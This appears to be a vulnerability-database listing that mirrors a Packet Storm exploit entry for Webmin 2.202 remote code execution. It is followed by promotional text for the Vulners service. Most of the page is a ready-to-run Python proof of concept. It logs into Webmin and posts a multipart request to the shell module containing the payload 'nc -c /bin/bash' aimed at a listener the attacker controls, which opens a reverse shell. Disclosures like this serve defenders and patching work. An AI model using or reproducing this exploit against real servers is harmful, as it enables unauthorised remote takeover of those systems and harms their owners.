Lucene search
K

Webmin 2.202 Remote Code Execution

🗓️ 05 Mar 2025 00:00:00Reported by Buğra Enis DönmezType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 338 Views

Webmin 2.202 allows remote code execution leading to privilege escalation via crafted requests.

Code
# Exploit Title: Webmin RCE Leading to Privilege Escalation
    # Google Dork: N/A
    # Date: 05-03-2025
    # Exploit Author: Buğra Enis Dönmez
    # Vendor Homepage: https://webmin.com/
    # Software Link: https://webmin.com/
    # Version: 2.202
    # Tested on: Windows
    
    # Python POC
    
    import requests
    import argparse
    import sys
    import time
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("-rhost", required=True, help="Target IP address")
        parser.add_argument("-rport", required=True, help="Target port")
        parser.add_argument("-u", required=True, help="Username")
        parser.add_argument("-p", required=True, help="Password")
        parser.add_argument("-lhost", required=True, help="Listener IP address")
        parser.add_argument("-lport", required=True, help="Listener port")
        args = parser.parse_args()
    
        login_url = f"https://{args.rhost}:{args.rport}/session_login.cgi"
        command_url = f"https://{args.rhost}:{args.rport}/shell/index.cgi"
    
        login_data = {
            "user": args.u,
            "pass": args.p
        }
    
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;
    rv:134.0) Gecko/20100101 Firefox/134.0",
            "Accept":
    "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Referer": f"https://
    {args.rhost}:{args.rport}/session_login.cgi?logout=1",
            "Origin": f"https://{args.rhost}:{args.rport}",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "Cookie": "redirect=1; testing=1; sid=x"
        }
    
        session = requests.Session()
    
        try:
            print("Attempting to log in...")
            time.sleep(2)
            response = session.post(login_url, headers=headers,
    data=login_data, verify=False, allow_redirects=False)
    
            if response.status_code == 302:
                set_cookie_header = response.headers.get("Set-Cookie")
                if set_cookie_header and "sid=" in set_cookie_header:
                    sid = set_cookie_header.split("sid=")[1].split(";")[0]
                    print("Login successful!")
                    time.sleep(2)
    
                    headers["Cookie"] = f"redirect=1; testing=1; sid={sid}"
    
                    print(f"Check your listener on {args.lhost}:{args.lport}")
                    time.sleep(2)
    
                    boundary =
    "---------------------------30454280098212925122759899223"
                    payload = f"nc -c /bin/bash {args.lhost} {args.lport}"
                    command_data = (
                        f"{boundary}\r\n"
                        f"Content-Disposition: form-data;
    name=\"cmd\"\r\n\r\n{payload}\r\n"
                        f"{boundary}\r\n"
                        f"Content-Disposition: form-data;
    name=\"pwd\"\r\n\r\n/root\r\n"
                        f"{boundary}\r\n"
                        f"Content-Disposition: form-data;
    name=\"history\"\r\n\r\n\r\n"
                        f"{boundary}--\r\n"
                    )
    
                    headers["Content-Type"] = f"multipart/form-data;
    boundary={boundary.strip('-')}"
                    session.post(command_url, headers=headers,
    data=command_data, verify=False)
                    sys.exit(0)
                else:
                    print("Login failed: SID not found.")
                    sys.exit(1)
            else:
                print("Login failed.")
                sys.exit(1)
    
        except requests.exceptions.RequestException as e:
            print("An error occurred during the request.")
            sys.exit(1)
        except Exception as e:
            print(f"An unexpected error occurred: {e}")
            sys.exit(1)
    
    if __name__ == "__main__":
    
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation